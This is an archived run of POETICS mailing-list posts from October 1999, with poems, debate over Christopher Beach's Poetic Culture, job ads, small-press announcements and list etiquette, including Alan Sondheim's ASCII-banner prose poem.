> *since then this tape has been in my car player looping continually --- and this being atlanta i spend altogether too much time in that damned car --- but the tape has been a joy i feel like i know this whole book of poems much*
> *much better than my previous several-many readings of it had tuned me*

Reminds me of the days when I told people to type out other people's poems to read them better. So after many readings of Sheila Watson's great _The Double Hook_ (novel) I sat and typed the whole thing out. Got a result similar to what yr mentioning.

Now, I would advise this for people who dig _Paradise Regained_ or the works of Robert Kelly.

George Bowering.

,

fax: [redacted]

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270. Aviva V. Gabriel
Making & Looping Poetry Tapes
Wed 20 Oct 1999

I've done it a lot, beginning with the poetry of Wallace Stevens...and moving on to other poets I wanted to "know" in a deeper way. I find it extremely valuable even before actually listening to the tape -- the actual tape-creation forces me to slow down my reading, and involve myself kinesthetically with the poetry, in a way that sliding my eyes over the page can never do. I think I have a touch of attention-deficit-disorder, to use a pop-psycho term for "impatience" and "impulsivity," and sometimes the thought that I have a larger purpose in creating a tape for later use forces me to read longer and more attentively than I might otherwise do. Then, after all these benefits accrue, there's the bonus of looping the tape in the car, where I spend too much time to waste.

_____

Aviva Vogel Gabriel
Poetangles & Motherdrum Studios
P.O. Box 1085
Norwich, VT 05055-1085

_____

Kind of empty in the way it sees everything, the earth
gets to its feet and salutes the sky.
--John Ashbery, from "For John Clare"
----- Original Message -----
From: Lowther, John <[redacted]>
To: <[redacted]>
Sent: Tuesday, October 19, 1999 11:26 AM
Subject: _Words_ by R.C.

> {poetix}
>
> a few weeks ago i made a tape --- some 70 minutes of a possible 90 --- me
> reading the entire book _Words_ by creeley --- it was interesting to
do ---
> to try to get in a reading, singular, something of the complexity that one
> finds in reading any poem of his --- i have that exact change yearbook
with
> cd and so i had two exempla of his reading style to think about tho,
> ultimately, my taping doesnt sound too much like how i imagine r.c. wd
have
> read these
>
> since then this tape has been in my car player looping continually --- and
> this being atlanta i spend altogether too much time in that damned car ---
> but the tape has been a joy i feel like i know this whole book of poems
much
> much better than my previous several-many readings of it had tuned me
to ---
> last night i went back and looked at the text for the 1st time since the
> recording and the effect is very palpable, that i now know whole passages
> almost by heart
>
> and it isnt that my readings are so brilliant --- in listening to the tape
i
> hear in various places that i've missed a nuance by placing a certain
stress
> here and not there or that something is, due to my reading, off-balance in
a
> way that's not as interesting, or even, balanced in a way that i think
wasnt
> felt, intended etc...
>
> do other folks ever do this sort of thing ? i know my friend mark does as
> that's partially what suggested to me that i might make this tape --- just
> curious
>
>
>
>)L
>

↑ Index

271. Pritchett,Patrick
obit for Sarraute
Wed 20 Oct 1999

http://www.nytimes.com/library/books/102099obit-sarraute.html

↑ Index

272. Jason Nelson
Diseases of the Horse
Wed 20 Oct 1999

A poetics proejct and animals and diseases. Again trying to latch into/onto/
over/under the whole science word world.

Any and all thoughts are so greatly appreciated I might get dizzy. Jason Nelson

"Diseases of the Horse"

Vesicular Stomatitis

a fever begins (skin), sporadic and reemerging

Equine practitioner is walking fast and slow
or running and falls from breath, from practicing.

Transmission: endemic in warm released
by what's hiding in deep
grasses introduced by motion

a lesion blisters (virus), swells and breaks

Veterinarian forces ideas of healing and infection
into the horse, the mouth, the nostrils, the coronary bands.

Human Risk: sunlight destroys risk and creates
risk and hauling and producing return
to horses then humans then horses

death occurs (sometimes), and others live

Equine practitioner quarantines only the virus,
the virus and the horse parts attached.

"Diseases of the Horse"

The Strangles

An untreated foal is as precise

as a field of vaccines. And the greening
fenced bottomland arbitrates the spread,

the change from moving. Horses want
to harbor the outbreak of Pneumonia, fertility
problems, Endometritis, and the galloping

desire to cease. Only being healthy enough
to play host, serve pathogens, and replace air.

With their abscesses come a period of hesitation,
an incubation, a rush of legs beginning
in a small corral. With respiratory distress

comes an understanding
that beyond this line of barbs is another fence.

In this severed prairie any contact creates
wind, and the horses lose the abandon
to breath long before infection.

Jason Nelson

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273. **Joe Amato**
Re: Review of Beach's Poetic Culture
Wed 20 Oct 1999

david, speaking specifically in terms of sociological analysis then: it strikes me that bourdieu is clearly off the mark in associating (so directly, that is, in the excerpt you quote) the authorship function (in literature) with what goes on in the art gallery (at least, here in the u.s.)... i mean, if what we're after is a sociological treatment proper, then we'd have to look more closely at the publishing conglomerates that are emerging (and related small-press consolidations) over and against the gallery network of production and distribution...

which is actually a way of promoting an article that i think begins to get at precisely this 'distinction': steve tomasula's "speaking through a veil of dollars: the dialogue between art and literature," in the july/august (1999) _new art examiner_... most valuable, in my view...

which is another way of saying that discussions of poetic production generally benefit (as bourdieu suggests) from a consideration of other (artistic) enterprises... but that the differences between reception of visual art (e.g.) and poetry (e.g.) might be at least as significant as the similarities...

interesting exchange... perhaps necessary? to add here that *critiquing* _poetic culture_ (or whatever) is not quite the same as criticising it, and that the former is a more complex and, i think, more worthy pursuit...

best,

joe

↑ Index

274. Joe Amato
job ads...
Wed 20 Oct 1999

---

below are two job ads... the 2nd ad duplicates the 1st in part, but i thought it offered some useful info...

best,

joe

Ursinus College. Visiting Assistant Professor of Creative Writing

Ursinus College invites applications for a Visisting Assistant Professor of Creative Writing, for a term of one year, renewable for up to two additional years, beginning in Fall 2000. Poetry &/or playwriting preferred. Position carries a 3-course workload per semester, in creative writing & composition. Candidate must present quality creative work, demonstrate excellence in teaching, & delight in working in a lively undergraduate writing scene. Ursinus is a highly selective, co-educational, residential liberal arts college of 1200 students located 25 miles from Philadelphia. Please send letter of application, c.v., three letters of recommendation, & 20-page writing sample by Nov. 5 to Jon Volkmer, English Dept., Ursinus College, P.O. Box 1000, Collegeville, PA 19426. Preliminary interviews at MLA. Ursinus College is an EEO/AA Employer. In keeping with the college's historic commitment to equality, women & minorities are especially encouraged to apply.

ENGLISH DEPARTMENT JOB OPENINGS

1. Assistant Professor, tenure track, to teach Shakespeare and either postcolonial literatures or British drama. Contact Professor Carol Dole, [redacted]

2. Visiting Assistant Professor of Crearive Writing (preferably poetry and/or playwriting). One-year position, renewable for two more years. Contact Professor Jon Volkmer, [redacted]

Ursinus College is a member of the Centennial Conference, along with Bryn Mawr, Franklin & Marshall, Haverford, Johns Hopkins, Swarthmore and five other exceptionally strong liberal arts colleges. Over half of our 340 first-year students this year achieved high school rankings in the top ten percent. In terms of minority recruitment, among the top eighty US News liberal arts colleges in the country, only Oberlin, Swarthmore, Wellesley and Wesleyan match or exceed Ursinus in percentage of African-American students. We are dedicated to diversity, both in student and in faculty recruitment, and minority candidates are especially invited to apply.

The College is seeking to hire motivated faculty members who are eager to combine their scholarly interests with teaching. Because Ursinus College faculty constitute a scholarly community that takes tremendous pride in the individual achievements of our colleagues and students, we support faculty scholarship with a number of programs, including early or junior leave for assistant professors, summer research stipends, and travel grants. Reflecting our educational philosophy that values personal interaction among students and professors, we also strongly support undergraduate research. Last year 33 of our students co-authored publications that described collaborative faculty-student research and 111 students made public presentations at undergraduate research conferences.

Finally, according to the visiting team of faculty who were here last year for Ursinus' ten-year re-accreditation, there is solid evidence that Ursinus works uncommonly well at producing students who are "articulate, self-confident, and serious of purpose." The team concluded: "One comes away from a visit to Ursinus inspired." It is likely that candidates would agree if they visited our campus.

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275. Nielsen, Aldon

Fwd: SynThink for Free in L.A.

Wed 20 Oct 1999

SYNTHINK event --"Unwriting the Word: A
>Festival of Music, Murmurs, & Media" on next Friday & Saturday, the 29th
>and 30th at Loyola Marymount University.
>
>Some of you inquired about the cost, so this is a message to clarify that
>all events are FREE! FREE! FREE!
>
>That means receptions with fruits of the vine and food, jazz and several
>forms of writing, for NOTHING! High culture brain massage with wonderful

>music and sheer fun...at no cost.
>
>Again, to look at the website version of the Festival Program, with links
>about the participants, see: http://clawww.lmu.edu/graduate/engl/Colloq.htm
>
>Regards,
>
>Paul Harris
>
>
>
>Dr. Paul A. Harris
>Dept. of English
>Loyola Marymount University
>Los Angeles, CA 90045-8215
>http://clawww.lmu.edu/~pharris/

↑ Index

276. Alan Sondheim
THE CLIMB INTO THE MOUNTAINS
Wed 20 Oct 1999

(needs courier or other equi-spaced typeface)

```
    THE CLIMB INTO THE MOUNTAINS

                 ####Now here is where I am balancing
                  ###on top of THE PRESIDENT, Julu said,
                    #standing on her head: It was a wonder!
#                    #Jennifer joined her. THE PRESIDENT
#######################was the world thought they but while
#######################they were alive and together, they
#                    #would enjoy it. Look, said Julu, I've
                    #breasts. Jennifer looked; it was a
                    #first, this breakthrough of wonder as
                 ####they began to leap from T to H,
#                    #landing solidly. A gap appeared; Julu
#######################related it to the hymen, which Jennifer
#######################didn't understand. Follow me, Julu
#          #       #said; jump, and we'll make it ok
          #somewhere down here where for a moment they
          #rested, as if their skins were torn and open
          #from the struggle. They jumped up quickly
```

#to the other side. Such was the case.
#######################Look, said, Julu, here is where it is,
#######################and Jennifer agreed she had much to
#learn. Suddenly it was time to leave
#and an E appeared; THE PRESIDENT
#######################readied himself for the onslaught HE
#######################was sure to come. Sure of victory, he
#carried the following: The EYES of
#Jennifer, her TONGUE - she could
#neither see nor speak; and the HYMEN
#of Julu, transforming her into a
#permanent container. This is my
##misery, Jennifer, Julu said; she
####screamed JUMP JENNIFER, leaping

#across the gap associated with the
#######################bleak world of THE PRESIDENT, who
#######################had condemned both men and women
#for wrecking the perfect country.
        #   #Thus the country was spared and
        #   #rebuilding according to plan; Julu
        #   #could hardly stand it. Now she
        ##   ##suffered as well, her sex closed
         #######to everyone. Jennifer wrote this and
           ###every other history, almost falling,
#jumping up to claim the territory
#######################of the R. THE PRESIDENT would watch
#######################from his eyes. THE PRESIDENT was
#thinking: In what way is the world
      #####   #primary? What can be said about the
    ########   #primacy of the world? Clearly it was
#not in perception itself; his exper-
##iment on Jennifer was conclusive.
#######Jennifer began sliding, looking for a
###jump onto just another letter. E was on
#the horizon, clearly and calmly gar-
#######################nered, a moment of solid foot among
#######################that most popular letter. And, THE
#PRESIDENT reflected, she was blind.
#So the primacy must be elsewhere,
#perhaps in the style of the world
#itself - a style that owed to classi-

#cal logic and its tradition. The name
##Aristotle came to mind as all three,
####Julu, Jennifer, and THE PRESIDENT
####
 ### ######lept fearfully onto the S. THE PRESIDENT
 # ### ##thought, climbing up, it was not so
#much the organization of the world,
#but its robustness in the face of
#continuous decouplings, linkages
 # #### ##breaking down in the midst of the
 ########## ####landscape of the symbolic. All ready
  ######
#leaping onto the I, as he continued,
#####################Jennifer shuddering, unable to speak,
#####################only to scrawl letters with her one
#good hand. Leaving the I or ego, they

#moved onto the D, the darkness also of
#####################the symbolic. Beyond the robustness
#####################must be chains, linkages from small to
#large, holding the subatomic in place
#while the world, more vast than any
#cosmos, occurs above the quarks and
 # ##their constituents. All three almost
 ### ###tripped, following the complex train of
  ################thought in relation to the robust, of
   ############which they'd heard nothing. Jump Jennifer!
#and back onto the familiar E they were
#####################indeed, holding their own. What can
#####################anyone say beyond this, asked Julu,
#knowing full well there was no answer
#at all as language and world appeared,
#but only appeared, to descend into
#complete chaos. Cure me, cried Jennifer,
#her vision gone, crawling across the
##letters like a foreign landscape, but
####the only landscape at all. That's it!
#shouted THE PRESIDENT, be careful now,
#####################we're on an N, the landscape which is
###foreign is the only landscape there is;
  ######we're faced with alterity from the very
  #######midst of the self. They began their long

```
       #######descent. And between alterity and robustness
     #######which conceals alterity, therein lies culture.
   #######Please oh god help me, cried Jennifer; watch it!
 ######           #said Julu, this N is difficult, and we
#######################are almost off. Now just a slight jump,

              ####and they were on the final letter. Julu
               ###asked, please I beg you, THE PRESIDENT
                #was silent; the question about the pri-
#                #macy of the world had been solved. I
#######################will be your eyes, Jennifer, said Julu.
#######################You are both cleared of any wrongdoing,
#                #said THE PRESIDENT, and are free to go.
                #I'm blind, wept Jennifer. You are inno-
                #cent, said THE PRESIDENT, that should
              ####be sufficient. We are all equally alive.

 hack
 ./hack
 .banner THE PRESIDENT
 ./banner THE PRESIDENT
 ./banner -30 THE PRESIDENT
 ./banner -w 30 THE PRESIDENT
 ./banner -w THE PRESIDENT > ~/zz
 ./banner -w 30 THE PRESIDENT > ~/zz
```

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277. Alaric Sumner

Domestic Ambient Noise/Bob Cobbing/Lawrence Upton/Riding the Meridian

Wed 20 Oct 1999

The general advertisement did not make it clear that there are quite a lot of resources on and around Cobbing/Upton's Domestic Ambient Noise project on Riding the Meridian (http://www.heelstone.com/meridian)

1) Discussion between Bob Cobbing, Lawrence Upton and myself on Domestic Ambient Noise and performance.

2) Article by cris cheek on Domestic Ambient Noise

3) A collaboration by Bob Cobbing and Lawrence Upton (inc. sound)

4) Solo work by Bob Cobbing (inc. sound)

5) Solo work by Lawrence Upton (inc. sound) incorporated in an article on page/screen/performance/terminology (including discussion of Domestic Ambient Noise)

More information on Domestic Ambient Noise from: Writers Forum: http://www2.crosswinds.net/members/~writersforum/

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278. **Thomas Bell**
Re: THE PRESIDENT-MACHINE
Wed 20 Oct 1999

---

if we're into voting these days i second the below, particularly the generosity

tom bell

Alan Sondheim wrote:
>
> generosity; I'd also like to see more work presented here that deals with
> Poetics - from a point of view _within_ poetry or other literary forms,
> complementing the work already from the position of critique or dialog.
>
> - Alan

--
```
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY     \//\\\/\//\\\/                <><>,...,.,
WHOOPS J    K  JOVE BY  HHH           ZOOOOZ    ZEUS'WRATHHTARW
 LLLL  STOPG         [    EMPTY                          ] SPACER
```

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

279. **Ron Silliman**
Re: wow--too much
Wed 20 Oct 1999

Would we really have 50 messages per day if the server was up 7 days per week instead of the three to four that seems now to be the case?

I heartily recommend the digest option (which I use) as well as setting up a special hotmail (or similar) account just for Poetics (I do this also).

Self-restraint in sending messages is also a value.

Ron Silliman

Get Your Private, Free Email at http://www.hotmail.com

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280. **Stephen Vincent**

Frank O'Hara/Rauschenberg

Wed 20 Oct 1999

Recently I went to Los Angeles' Museum of Contemporary Art to see, "In Memory of My Feelings," a delightful show (up through November 14) that features many, what might be called "cozy" collaborations between Frank O'Hara and the artists in his life (Larry Rivers, Alfred Leslie, Jasper Johns, Alex Katz, Michael Goldberg, Grace Hartigan, Elaine de Kooning, Joe Brainard and several others). Then I went next door see Alex Katz interviewed on stage by Raymond Ferguson, the curator of the show. Katz is rather wonderful in remembering his experience - in the mid-nineteen fifties - of becoming a figurative painter in opposition to abstraction. "When the opposition tries to cow you, that's the time to stick out your elbow and stick with your stuff." And his wry rendering of O'Hara in the mode of MOMA curator (a non-stop talking, whiskey priest) put the poet up on his feet Unlike most of the artists in the show, however, my sense now is that the artist closest to O'Hara - in vision and process - was actually Robert Raushenberg. The "Feelings" exhibit revels in work that was made in intimate responses to O'Hara's person - but, in that way, though wonderful, it is simultaneously limited. One gets a strong sense of how these artists loved his presence and art and texts are full evidence of the sometimes ingenious ways they often collaboratively engaged, enlarged and enhanced those - Joe Brainard and Larry Rivers perhaps most strongly. Yet, when I crossed over to the Museum's permanent collection and entered a room full of Raushenberg assemblages, the work in the O'Hara show became suddenly secondary, or comparatively private. Both O'Hara and Rauschenberg share an epic, joyous, and ambitious pleasure in making an enormous collage of the whole disparate phenomena of the 50's American eye, particularly as it opened to the globe, and the way the globe began to impinge particularly on New York City - turning what Katz called a then provincial metropolis into an international capital - a place no longer just impacted by the outside, but throwing its emergent post-war power back over and around the world. It's as if Rauschenberg's and O'Hara's work both took William Carlos Williams' aesthetic - his obsession with local materials - and transformed that relatively small town mode into the gleeful acquisition of any material, no matter its global origin or disparate source (street concrete or tele-media), and made it appropriate to either poem or artwork. Ideas in all things. Things in all ideas. A prophetic honeymoon - done not without irony - with Empire. In fact I suspect a parallel reading of both R and O's work (visual

and textual) in that same period will end up being much more rewarding than the more immediate, personal delights of the L.A. show. (I have not read a great deal of the critical lit on O'Hara, but maybe this association with Rauschenberg's work has already been developed?) The show, by the way, carries a well produced catalog with a very readable, seemingly well informed essay by Ferguson, and many reproductions of the work by the artists. Unfortunately the show will only travel (I believe) to a museum on Long Island (which is not listed in the catalog). Why not New York City is a mystery.

Cheers,
Stephen Vincent

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281. **David Kellogg**
Re: sociology
Wed 20 Oct 1999

Mark Prejsnar wrote:

> *i only feel (maybe i'm just less rigorous and original than you, in thnking about these issues...) that C. Beach has made an interesting start toward siting some of the overall tension lines and creative currents on the contemporary scene.... Despite many limitations in his book..*

I'll agree. It's a valuable book. My critique has to do with the relations between sociology and aesthetics (i.e., criticism as traditionally conceived). And most of the book is _much_ better than the Hejinian/Dobyns chapter. I learned a lot.

> *It sounds to me like you have some ideas of your own about how a sociology of the poetry world would work.... Maybe (if you haven't) you should publish 'em (...or give us a citation, if they are partly out there somewhere in print) ... i'm quite willing to believe that they would be valuble, and wd. fill in the lacunae in Beach's work...*

It's in the works (abstract at http://www.duke.edu/~kellogg/CV/research.htm). Some early ideas were laid out in

"Literary History and the Problem of Oppositional Practice in Contemporary Poetry." Cultural Critique 32 (1995-6): 153-186.

and

"Desire Pronounced and/ Punctuated: Lacan and the Fate of the Poetic Subject." American Imago 52.4 (1995): 405-437.

But those were before I'd really read Bourdieu well.

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

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282. **r.drake**
Re: Applying for ISBN #???
Wed 20 Oct 1999

---

go to http://www.bowker.com --all the info & forms are there. you can even apply online (tho they've been having trouble with their secure creditcard site. application fee is $195.

luigi
burning press

> *Does anyone on this list know how to apply for an ISBN # for a self-published book? I have a colleague at work who wants amazon.com to carry her book, but they need an ISBN # first... of course. Thanks so much.*
>
> _____
>
> *Aviva Vogel Gabriel*
> *Poetangles & Motherdrum Studios*
> *P.O. Box 1085*
> *Norwich, VT 05055-1085*
>
> _____
> *Kind of empty in the way it sees everything, the earth*
> *gets to its feet and salutes the sky.*
> *--John Ashbery, from "For John Clare"*
> *----- Original Message -----*
> *From: juliana spahr <[redacted]>*
> *To: <[redacted]>*
> *Sent: Saturday, October 16, 1999 12:44 PM*
> *Subject: dobyns v. hejinian*
>
> *It seems that both Dobyns and Hejinian sell more or less similarly in poetry sales (which I think might complicate the marginal v. mainstream set up).*
>
> *Dobyns Velocities: New and Selected Poems sold 9,421 copies as of August of 1999 (a single title such as Dobyn's Body Traffic sold 3,066); Hejinian's My Life has sold around 8,000 copies as of September 1999 (Sun & Moon edition only; Burning Deck edition sold out but I don't know the print run on that). I don't have stats on other Hejinian titles but imagine they are less.*

> *Although one thing to consider is that Dobyns's Velocities was published in 1994. Hejinian has accumulated those sales over a much a longer time. It might take some more time to actually straighten out the sales similarities. Who knows though if Velocities will get the long term spread of sales that My Life has.*
>
> *Still seems like an interesting similarity considering the muscle of Penguin v. Sun & Moon and also there must be significant spin off sales b/c of Dobyns's other writings that make his poetry sell better. (He seems to be the best selling Penguin poet.)*
>
> *Lisa Samuels has an article written shortly after (it seems) Beach's where she complains about the canonization of My Life in MLS.*
>
> *I'm looking forward to reading the Beach.*

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283. **David Kellogg**

Re: the real issue of audience

Wed 20 Oct 1999

First I'd like to apologize to Ron and others for flooding their mailboxes. Please let me know backchannel if you think I'm spending too much time on a minor issue. My own sympathies being with the avant-garde (and as an ex-"workshop" poet too), I want experimental work to be taken seriously by the mainstream. I also want contemporary poetry in general to be taken seriously by the cultural studies/cultural sociology folks. My view is that while Beach's book has a lot going for it, this chapter is problematic in both those efforts.

Mark Prejsnar wrote:

> *Mark prejsnar replies: WHAT IS the real issue of audience?? It seems to me that Beach DOES address aspects of the issue of audience, throughout that chapter, and throughout the book.... In what way do you think he hasn't addressed "the real issue" ...? And by the way, the quotations you give from the chapter above, .. seem to me like perfectly useful and interesting asides by Beach (altho they are by no means the sum and substance of his arguments...)*

The "real issue of audience" is dealt with MUCH better by Beach in his chapters on the Moyers special, the Nuyorican/slam poets, and Bob Holman's USA of Poetry.

A partial list of complaints regarding this chapter would include:

1. Poor choice of Dobyns's poems, not representative of his narrative work or what even Beach acknowledges is his best work. Beach talks as though most of Dobyns's work is first-person autobiographical, which is not true. A large number of his poems, while presenting a recognizable Dobyns "voice," are non-first person narratives.

2. No mention of Dobyns's experiences in Chile, which inform quite a few of his poems and give some of them a possible political valence.

3. Ludicrous paragraph-length biographies of both Hejinian and Dobyns which tip the inevitable close reading in Hejinian's favor.

4. Unfair comparison between _My Life_ ("the language poem EVERYONE loves") and a Dobyns selected, as others have pointed out. A better comparison might be between a lesser-read though still important poet's Selected (Watten's FS, perhaps) and Dobyns, or between _My Life_ and an "instant classic" of mainstream poetry, such as _Praise_ by Robert Hass or _The Wild Iris_ by Louise Gluck.

5. Chapter's implicit promise to deal with audience not met.

That told, I have to keep rearticulating my position: I am neither a friend nor fan of Dobyns's poetry or the workshop mode. I love Hejinian's work. Yadda yadda. I don't think the chapter is in bad faith, exactly. But I do think it short-circuits the real work of comparison.

There are other issues, but I'm going to review the book for The Chicago Review so I think I'll shut up now.

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

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284. Jerrold Shiroma
New from Duration Press
Wed 20 Oct 1999

The second of Duration Press' international chapbook series is now underway, featuring:

Spectral Angel, by Gale Nelson
Empedocles's Sandal, by Habib Tengour (tr. from the French by Pierre Joris)
Degree: Of Stability, by Gennady Aygi (tr. from the Russian by Peter France)

Aurora, by Pura Lopez Colome (tr. from the Spanish by Forrest Gander)
Where Are We Now?, by Peter Waterhouse (tr. from the German by Rosmarie Waldrop)
Of Their Ornate Eyes of Crystalline Sand, by Coral Bracho (tr. from the Spanish by Forrest Gander)
20 Poems, by Lauri Otonkoski (tr. from the Finnish by Anselm Hollo)
A Discursive, Space: Interviews, by Anne-Marie Albiach (with Jean Daive) (tr. from the French by Norma Cole)

The subscription rate is $25 for all eight chapbooks. Please make checks payable to:

Jerrold Shiroma
117 Donahue St. # 32
Sausalito, CA 94965

For more information visit Duration's website:

http://www.durationpress.com

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285. Maria Damon
Re: Lest I remember
Wed 20 Oct 1999

---

i adore alan. i hope he keeps sending stuff to the list.

At 12:20 AM -0500 10/20/99, Thomas Bell wrote:
>alan has been doing this for a long time. it's part of the list for me
>tom bell
>
>--
>//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
>OOOPSY \//\\\/\//\\\/ <><>,...,.,
>WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
> LLLL STOPG [EMPTY] SPACER
>
>index of online work at http://members.home.net/trbell
>essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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286. **pete spence**
Re: handmade books sought
Wed 20 Oct 1999

> *HAND BOOKS*
>
> *AN EXHIBIT / SALE*
> *OF HANDMADE AND PRIVATELY PRINTED / XEROXED BOOKS,*
> *ONE-OF-A-KIND'S, ZINES AND CHAPBOOKS*
> *TO BE HELD NOVEMBER 6-7 (reception Nov 6)*
>
> *IS LOOKING FOR SUBMISSIONS*
>
> *PLEASE DROP YOUR WORK OFF*
> *BEFORE NOVEMBER 3 AT*
>
> *BLUE BOOKS*
>
> *THE NEW SMALL PRESS BOOKSTORE*
> *AT NEW COLLEGE*
> *PLEASE FORWARD THIS ANNOUNCEMENT*
> *TO WHOEVER MIGHT BE INTERESTED*

would have been nice to have a longer deadline next time you do something like this so bods like myself in distant corners of this globe can mail books to you// pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

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287. **A H Bramhall**
Wang Dang Doodle Amongst Friends
Wed 20 Oct 1999

we've been talking about this for years, marveling at the neo-frank brocade. it's simply the dismembering of the original thing which we had in mind anyway, now spent. that's all we did. we got involved in things that were supposed to earn stuff, and so we set our sail. the imaginary monster: when we investigated we learned it lived in a town with a great school system and a fairly okay tax rate. do you recall the charge you felt, when you learned that? someone kept time, thinking that was important. that is, they told you they were on the job, whatever that entails. they got lax with certain attributes, insisting everything

has a bright chance. hey, we're grandees, right? educated with plenty of pizzazz, and disinclined to bite on the heartlessness that goes on out there, here, or wherever. we have nice natures, basically. what interferences we face, well, nothing's free, right? costs brim over, like the river I saw the other day. it was embarrassing to see the water spread into the road and everywhere. think of dank cellars, soggy backyards and market value adjustments. if you want to speak of a Thing, there's one right there. a river overflowing its banks, that's so anti what we're about. we have a course to run. notice this fishy milt all over the place, does the equation want to handle that? we're asking questions today but, close the doors, let things seep in quietly. much of the slag has been removed to another district. today's rockets will have something to say. they won't exactly create a tension unless asked by quorum. oh how a quorum deserves love. the matter grinds us tiredly, sure, shaping logics and spewing out a tremendous vacancy that can be studied, along with every other college subject. so radical! let's bolt! bastards are those who have withstood the logical banishment. anyone can claim a taste from the source, as a matter of fact, but: it works with specific rules. one must willingly take the reins and create community standards. that's the picture, the cover charge, correct? haven't we been buzzing about this all along? we started as children so let's include that logical background in the picture. parlance fucks us over always, rather pleasurable really, and there are careers ready to burn a blazing bright light. a proper mystification would work well now, amongst the cantankerous great. not to remain in that comfy blur, tho. we're just not drunk enough. our anger has been used as a fuel for furtherance. I for one would like to touch that furtherance, and chew a few leathery hearts, just for the damn exercise of my whole anger. maybe it's the sweetie pie moonlight or the ding dong logistic of saying what you mean but the camaraderie is just a map of lazy fuck all. as in, specifically, aint there ever an edge slicing thru the perfect pie? why waste time publishing the tiny steps that show that the corral was a great idea? that's Quisling working overdrive. the career doesn 't want to live, it wants to be painted on a wall. great trophy! how did middling learn to rule? munch on this reminder: we're living it. all night long.

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288. **Pam Brown**

Re: Lest I remember

Wed 20 Oct 1999

---

ditto
Pam Brown

--- Thomas Bell <[redacted]> wrote:
> alan has been doing this for a long time. it's part

> of the list for me
> tom bell
>
> --
> //\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
> OOOPSY \//\\\/\//\\\/
> <><>,...,.,
> WHOOPS J K JOVE BY HHH ZOOOOZ
> ZEUS'WRATHHTARW
> LLLL STOPG [EMPTY
>] SPACER
>
> index of online work at
> http://members.home.net/trbell
> essays:
>
http://members.tripod.com/~trbell/criticism/gloom.htm
>

=====
Web site/P.Brown - http://www.geocities.com/SoHo/Workshop/7629/

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

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289. Gerald Schwartz
Re: Diseases of the Horse
Wed 20 Oct 1999

Jason Nelson and list:

The purpose of Medicalese...

A sense of paradox
hovers over such
utterances as "What
are these tests?"

When I was a boy,
wisecracks
were the order
of the day
when one was
addressed

in tis manner --
comebacks such as
"Asking is
a test" or
"You won't pass
unless you know."

Just as the logical
paradox
of Epimenides the Cretan
("all cretans are liars"),
a puzzle is
introduced by
the self-referential
feature of the utterance.

If the patient
needs permission
to ask the question,
why wasn't it asked
for the question
that seems
to ask permission?

If the patient has
a question and has
the conference
and a turn to talk,
why doesn't he
or she ask
the question
instead of asking
to ask? Why
is the question itself
"displaced"
by the physician?

What are the patient
and physician
doing in doing this?

best, Gerald

↑ Index

290. **Tony Green**
Re: on sondheim, on raphael, on expression
Wed 20 Oct 1999

C-c-curiouser etc How do I know if
this & any or every e-mail to the list is
or is not a poem? shd I indent etc

to make it clear that it is? or rhyme?
I surely have it in mind to publish one or
two of my e-mails to various persons in
a _poetry_ magazine.

Dan Raphael wrote

> *5) lets see more poems by more people. lets' see more opinons about poems, more poetics & elss personalities. or maybe all of the above*

Tony Green
>

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291. **MAXINE CHERNOFF**
Talisman House Publication
Thu 21 Oct 1999

Out this week:

TOTEM AND SHADOW: New and Selected Poems by Paul Hoover

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292. **Ron Henry**
Re: POETICS Digest - 19 Oct 1999 to 20 Oct 1999 (#1999-197)
Thu 21 Oct 1999

> *From: dan raphael <[redacted]>*
> *Subject: on sondheim, on raphael, on expression*
>
> *5) lets see more poems by more people. lets' see more opinons about poems, more poetics & elss personalities. or maybe all of the above*

Actually, let's *not*, on this list, directly. There are scads of free web page services out there who'll give you several Mb of disk space on a web server to put up poems. I humbly suggest that authors seeking feedback from poetics list members get themselves some web page space from one of these services (Yahoo, Tripod, etc.) and place their poems there, and simply post the URL to the poetics list.

Those interested can visit the site with a click, or at most a quick cut and paste of the web URL. Those not interested will only have to scan past a few lines. (This is the solution that some other mailing lists I am on use to handle material marginal to the express putpose of the list, and it seems to work all right.)

Many word processors allow basic web page formatting, and AOL has a free HTML layout program called AOLPress, which is no more difficult to use than the average word processor.

Ron Henry
--
Ron Henry / [redacted]
Aught, a journal of poetry
http://people2.clarityconnect.com/webpages6/ronhenry/aught.htm
"March March with a trouser in its heart." -- Hannah Bonner

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293. **Mark Prejsnar**
Re: demographic query
Thu 21 Oct 1999

Well, in fact, John Lowther's original inquiry (which literally no one, i think, replied to, seriously, tho a number used it as a pretext for lame witticisms) .. was made in a certain spirit, which i think few listees understood: Here in @lanta we have an extremely exciting poetry scene growing, but of course the South is not considered a hotbed of poetry. (i mean the real stuff, not the workshop academic stuff....) So we are always looking to make connections and smoke out our hidden kindred...

Folks should consult the new New Orleans Review, for a sense of some of the possibilities lurking here in the xconfederate states.... But there is still a long way to go, to really set off the kind of bonfire we'd like... And as has been shrewdly analyzed by Hank Lazar (a naturalized Alabaman) in several essays, there are still many peculiarities to our situation here in the south: the rather debilitating legacy of a certain vitiated and self-conscious regionalism, for instance, which reinforces the most trivial and establishmentarian ideas about poetic and narrative form...

Anyway, this interest in how things are shaping up down in dixie, was much of the reason for John's original post, i believe.... To judge from many of the responses, which trivialized it, i thought it might help point this out...

southerly,
mark prejsnar
@lanta

On Tue, 19 Oct 1999, George Bowering wrote:

> *...& while we're being regionalist, what about per-capita List subscription by city or Metropolitan area? (Boulder, the poetry scene/city which I inhabit, comes to mind, but there are plenty of others: SF, NY, Lawrence KS, Philly, etc., etc.*
>
> *I am getting the idea that people are curious only about US places.*
>
> *George Bowering.*
>
> *,*
>
> *fax:* [redacted]

↑ Index

294. **Mark Prejsnar**

Re: on sondheim, on raphael, on expression

Thu 21 Oct 1999

---

i think that Dan R. has handled this controversy very well. i did not post in favor of his original post, because it feels peculiar and awkward to single out one poet for criticism, in this quasi-personal context....

